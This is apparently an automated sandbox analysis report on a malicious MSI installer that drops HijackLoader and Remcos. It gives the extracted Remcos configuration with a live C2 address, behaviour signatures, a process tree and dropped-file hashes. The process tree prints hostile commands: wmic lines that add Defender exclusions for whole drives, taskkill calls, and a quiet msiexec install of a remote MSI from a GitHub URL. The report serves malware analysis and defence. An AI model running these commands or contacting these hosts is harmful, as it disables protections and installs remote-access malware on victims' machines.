Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2025, 03:40

General

  • Target

    289266f50512ab914e578d5ce34352d297983fe303edd7b211521e94e4db7ca7.msi

  • Size

    2.9MB

  • MD5

    5bac811249b2f91a6d769cd4af4154e2

  • SHA1

    911195edb41cd320d5538fa5560f0bd18eb6c11f

  • SHA256

    289266f50512ab914e578d5ce34352d297983fe303edd7b211521e94e4db7ca7

  • SHA512

    e38653ed324d2f764c06685a791ebf28f2ba9864d960fab104c91c86f831a7037f2a627e9048b49b5b9258a31165c3a9147be15b822ae50e0d8d9c8d2dd73cda

  • SSDEEP

    49152:kwfjkMo27Epq0n8Toc4Ug8r6F5mCmR+w+TzMShkkcr4u12X8ecau3aLSQlq8HoBu:lYn8ToBo6bqrnbecauKLO8IG/d

Malware Config

Extracted

Family

remcos

Botnet

v2

C2

185.157.162.126:1995

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    qsdazeazd-EL00KX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Use of msiexec (install) with remote resource 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 20 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\289266f50512ab914e578d5ce34352d297983fe303edd7b211521e94e4db7ca7.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4568
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2576
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 470A41F0EDE209FAE30BE413D15D5ADE
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2952
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2340
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:2540
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:5092
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4596
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4272
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1216
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3068
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                6⤵
                  PID:1652
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3488
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im cmd.exe
                  6⤵
                  • Kills process with taskkill
                  PID:3224
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2724
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im msiexec.exe
                  6⤵
                  • Kills process with taskkill
                  PID:5100
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" //B
                5⤵
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:5044
                • C:\Windows\System32\msiexec.exe
                  "C:\Windows\System32\msiexec.exe" /i "https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi" /qn
                  6⤵
                  • Use of msiexec (install) with remote resource
                  PID:1688
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Blocklisted process makes network request
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 01C454ABCA84706C99771730AC9DE117
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1640
        • C:\Users\Admin\AppData\Local\EHttpSrv.exe
          "C:\Users\Admin\AppData\Local\EHttpSrv.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2580
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            3⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3840
            • C:\Users\Admin\AppData\Local\EHttpSrv.exe
              C:\Users\Admin\AppData\Local\EHttpSrv.exe
              4⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2544

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Config.Msi\e577310.rbs

        Filesize

        2KB

        MD5

        095f8209b1e4b9d86446b446e979730c

        SHA1

        376fcfb618fac4f88dfea70c7bd501c6e18c5772

        SHA256

        0b04113e7fbfb33c2d791676d7b5182d350138c9acf578d586a3d2db1d8fb741

        SHA512

        ee3bc2545311d7028ec547fedd42c6ff90c331b27ff7fb013482165d375d7d64d899d4ca6957dfc93ce3f834337d1883bfc870dac5802c138528a5c0343615c7

      • C:\Config.Msi\e578743.rbs

        Filesize

        2KB

        MD5

        5ac4072a5e89be6f323635d602331955

        SHA1

        944ff4969cb40b4a6690fb31a16dddaab97c427c

        SHA256

        5b1189df638e81260a9fbb42b20867cb9336343740e43af7699308e70bfffbac

        SHA512

        f620534307a3e430ba6b1cadb4de125a0cac49d3798f0d99bf97abac3ab6e3b738f5a70c58ab2f0f962540d7fab781f782e89cc73f8f2eba43c8f1c4ec17dc42

      • C:\Program Files (x86)\sev\dev\updt\lola.bat

        Filesize

        656B

        MD5

        73e4aed899a6014299b63ccf9eb520f5

        SHA1

        4147c2dd9277d64c5ecc9e7782e5d5aa94e56b00

        SHA256

        01c8cc249b04fee266cf757130dfef5b099cdf03337161a6c7f9346b7d2cb4f0

        SHA512

        e0ad8e8800908a5e0b60d433997c0cebc0750ae7bee0e7fe51c2e5f7fd61792f0c600c2fe65965b0c2562c61f05773d9106d89d7b2d1fb71eaed0dfbe19b5612

      • C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

        Filesize

        872B

        MD5

        64dccadec94cfd25ee1ed659b29182b2

        SHA1

        64bc8bca314a238a900de2092587b07903b08e6c

        SHA256

        c8c9c931af038f86f25acb8f2e5dd98b01c7fdd41f0a1a3afa44e555f0b976cd

        SHA512

        adff4899e842137c9d78cd1b0056f3610d442b480e2829a41ad505d7353f59dc9fe50ec6055478ace36e4069e388a279e5ec60ca98751a13a559b40d4c847f93

      • C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

        Filesize

        512B

        MD5

        bcc1d6a3c9aeec994cd31f86ada37ae6

        SHA1

        0b7bb7af96d842cfbb7a89793a4292fec4289a8c

        SHA256

        41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64

        SHA512

        8793e62dc4a9465ef5254e15b3471573a242705dfdf74bd3d09d97c10dd84daf69aa8c0b5c9bc3c5a7302e431fc2ed417b1e6c194da106765e50ad385ea955b7

      • C:\Program Files (x86)\sev\dev\updt\task.vbs

        Filesize

        2KB

        MD5

        be8e86dd465192f94e52b2cf7bb6243a

        SHA1

        e62cfcee783511bf7aa2411564b856967a185749

        SHA256

        99d59c98978a5f883d3c69c9c6352311e07cb4b9ff0cd6ee96cd9fa6057b5a53

        SHA512

        fd1ab9e90af36cbed8b46115288a8868500bfde0cbe9b72a9b1b9801cebc2acb0829d9cadf97e7cd70b6322afd65df2965a51a11672458251ff63cd535b17cb2

      • C:\Users\Admin\AppData\Local\EHttpSrv.exe

        Filesize

        20KB

        MD5

        9329ba45c8b97485926a171e34c2abb8

        SHA1

        20118bc0432b4e8b3660a4b038b20ca28f721e5c

        SHA256

        effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

        SHA512

        0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

      • C:\Users\Admin\AppData\Local\MFC80U.DLL

        Filesize

        1.0MB

        MD5

        686b224b4987c22b153fbb545fee9657

        SHA1

        684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

        SHA256

        a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

        SHA512

        44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

      • C:\Users\Admin\AppData\Local\Temp\3d97b46

        Filesize

        1.0MB

        MD5

        da3d35d1f4213c3d5052984f719a1a60

        SHA1

        28ca94d4732250ecd2ea6f6f1b27aee15ba325e5

        SHA256

        4b2e1f820cb3f010f8ef677190fd6f58018e68e751d2982675a6991daa124e3d

        SHA512

        ffa75c584db9126f6b24fced1fb6d42e7d3adac8606a328c4161d04138258fae5f70dddb4d8d8c4e63f6ca1edd4547d5d43d48b4170b6081f2b0c3d00d439c25

      • C:\Users\Admin\AppData\Local\Temp\MSI77177.LOG

        Filesize

        22KB

        MD5

        da1c795f07321e48efffd6a21a0bfdf6

        SHA1

        1bb145bbb812b2448719cb0490a8277a135d164b

        SHA256

        61c6974b2c73dbadca48f616e723821d54e28b72a7b345916006bfd4a056e0cb

        SHA512

        59f0fcf46dde3072eef030b893f122410a6a79dd3c91d4ede9de1bd9f589520fc97cf3664c49fdc6faf5cc136771eab7d5d16e8facdc8eb9c91311474d098930

      • C:\Users\Admin\AppData\Local\audiogram.tif

        Filesize

        877KB

        MD5

        5124236fd955464317fbb1f344a1d2f2

        SHA1

        fe3a91e252f1dc3c3b4980ade7157369ea6f5097

        SHA256

        ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

        SHA512

        2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

      • C:\Users\Admin\AppData\Local\http_dll.dll

        Filesize

        883KB

        MD5

        4366cd6c5d795811822b9ccc3df3eab4

        SHA1

        30f6050729b4c08b7657454cb79dd5a3d463c606

        SHA256

        55497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da

        SHA512

        4a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349

      • C:\Windows\Installer\MSI736B.tmp

        Filesize

        557KB

        MD5

        2c9c51ac508570303c6d46c0571ea3a1

        SHA1

        e3e0fe08fa11a43c8bca533f212bdf0704c726d5

        SHA256

        ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

        SHA512

        df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

      • C:\Windows\Installer\MSI82EB.tmp

        Filesize

        3.0MB

        MD5

        5d8dc4f7c58f4681dee4ee9f6ecc3498

        SHA1

        3eb23e362ecba770d842e99dd6bf386f1b6c0b47

        SHA256

        4fda049f94e2b9127b71cb11588cac6b379d4dddab47f6e2f028fdaaf79ad8d3

        SHA512

        765fa345c0fb369795e54e0506b6a8caebbffce1c7cbdf061520d9ece9a15b840fec967de692314e42b30ef29df1612dc12e70f19b1b87d6cbabc473b4f9558e

      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

        Filesize

        156KB

        MD5

        9c5a927fa6ac9b0c5c29679e5fbf60bb

        SHA1

        d2dc3c7f0b0b4053e61a04b39c2f19dd737e0900

        SHA256

        81f806480f4aa63be1ee35e6d02c811a280e38aa2225f879971d66189151ca6f

        SHA512

        999f7a8ddbca075f2e997772234a567302e00f24075b08420119fe40a64ccde439dfef487277d161a635341d861d26df8fd4821dd6e24ca23471289d9a4e054a

      • memory/2544-112-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-116-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-119-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-118-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-103-0x0000000072FF0000-0x0000000074244000-memory.dmp

        Filesize

        18.3MB

      • memory/2544-105-0x00007FFDE2530000-0x00007FFDE2725000-memory.dmp

        Filesize

        2.0MB

      • memory/2544-106-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-109-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-110-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-117-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-113-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-114-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2544-115-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/2580-96-0x0000000074AF0000-0x0000000074C6B000-memory.dmp

        Filesize

        1.5MB

      • memory/2580-95-0x0000000074AF0000-0x0000000074C6B000-memory.dmp

        Filesize

        1.5MB

      • memory/3840-101-0x0000000074AF0000-0x0000000074C6B000-memory.dmp

        Filesize

        1.5MB

      • memory/3840-99-0x00007FFDE2530000-0x00007FFDE2725000-memory.dmp

        Filesize

        2.0MB